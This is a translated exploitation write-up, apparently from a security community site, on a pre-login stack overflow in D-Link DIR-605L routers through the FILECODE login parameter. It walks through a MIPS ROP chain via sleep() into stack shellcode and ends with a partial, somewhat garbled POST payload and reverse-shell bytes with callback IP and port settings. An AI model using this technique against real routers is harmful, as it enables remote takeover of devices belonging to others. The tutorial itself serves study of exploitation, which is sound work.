This is an exploitation of a stack overflow vulnerability in D-link routers before login. This article focuses on recording the problems and analyses encountered during practical testing, serving as a reading note.
Static Analysis
The DIR-605L router has a stack overflow at the login point. In the login form, there is a parameter called FILECODE, which is used to identify the verification code image displayed in the login window. After the server retrieves this parameter, it is stored in the $s1 register.

One point here is the branch delay in MIPS; the instruction following a jump will be executed before the jump itself. So what is actually executed is

The obtained FILECODE parameter value is stored in $vo, which is then stored in $s1.
The retrieved value is used as the second parameter of the getAuthCode function, passed to the getAuthCode.mips function call parameters through $a0-$a3. Any parameters exceeding 4 are passed via the stack.

In the getAuthCode function, FILECODE is again stored in the $s1 register and is passed as the third parameter to sprintf.


The sprintf function receives a total of 3 parameters.
The sprintf() function is used to write formatted data into a string, with the prototype:

It is used to write the formatted string into the first parameter. Here a0=s0. The position of s0 on the stack is:

This is a typical stack buffer overflow; through this overflow, it is possible to overwrite the contents of the registers on the stack and the program’s return address. The offsets are also relatively easy to calculate. Verification can be done through the following POST request.

First, start the boa program using qemu.

The program triggered a segmentation fault with the low part being 44444444.

The return address and registers s0-s3 can all be overwritten.

Before writing the exploit, there are a few points to note. First, the payload cannot contain NULL, and it cannot contain the character ‘g’. This is because there is a character processing logic before the payload enters getAuthCode.

If the character ‘g’ exists, the byte following ‘g’ is set to 0. sb $zero ,!($v0)
Another issue in writing the exploit for MIPS is cache incoherency. MIPS CPUs have two independent caches: instruction cache and data cache. Instructions and data are stored in two different caches. When the cache is full, a flush is triggered to write the data back to main memory. The attacker’s payload is usually treated as data and stored in the data cache. When the payload triggers the vulnerability and hijacks the program’s execution flow, it will attempt to execute the shellcode in memory.
If the data cache does not trigger a flush, the shellcode remains in the cache and is not written to main memory. This leads to the program executing random code at the address where the shellcode should have been stored, resulting in unpredictable consequences.
The simplest and most reliable way to ensure that cached data is written to memory is to call a blocking function. For example, sleep(1) or other similar functions. During the sleep process, the processor will switch context to allow other programs to execute, and the cache will automatically execute a flush.
A better way is to use ROP to execute the sleep(1) function. Use the IDA MIPS ROP plugin to search for li $a0,1 in libc.

Set $a0 to 1, copy the value of $s1 to $t9, and then execute the function at $t9, while $s1 is something we can control through the overflow. This is very suitable as a ROP gadget.
The basic idea of the entire ROP process is to overwrite the return address, which points to the address of the shellcode we deployed on the stack. However, due to the cache issue, we need to first point to execute sleep, and then point to the address of the shellcode.
The first gadget in devttys0 only sets the value of a0, which is the parameter for the sleep function. The next gadget is at 0x2B954 in libc.so.

Copy the value of s2 to t9, then jump to t9 to execute. In the process, the values of ra and s1 and other registers are reset. Here, s2 can point to the sleep function, and after executing sleep, it will jump to the controllable ra for execution.

The next step is to find an offset address on the stack. In apmib.so, at offset 0x27E8, store $sp+0x1c in $a2, then jump to $s1. If we point $s1 to 0x1D78 of apmib.so, copy $a2 to $t9, and jump to $t9. This way, we can jump to an address offset relative to $sp. We just need to deploy the shellcode at $sp+0x1C.

The final request is:

Using the exp provided in the article, the test result is: http://www.devttys0.com/wp-content/uploads/2012/10/dir605l_exploit.txt

In the poc, the rebound port and IP are hardcoded. Testing is not very convenient. You can manually modify the following positions:
# port number# 0x1f90 = 8080# 0x1ff5 =8181POST /goform/formLogin HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 894VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA# 0x1ff5 =8181″\x3c\x0e\x1f\xf5″, # lui t6,0x1f90″\x35\xce\x1f\xf5″, # ori t6,t6,0x1f90″\xaf\xae\xff\xe4″, # sw t6,-28(sp)# Big endian IP address 192.168.1.100#0xc0 = 192#0xA8 = 168#0x01 = 1#0x64 = 100#0x65 = 101″\x3c\x0e\xc0\xA8″, # lui t6,0x7f01″\x35\xce\x01\x65″, # ori t6,t6,0x101
Compiled from http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/









Weibo: KXue Security

KXue Security ยท KXue Crowd Testing
Continuously focusing on security for 16 years, professionally serving you!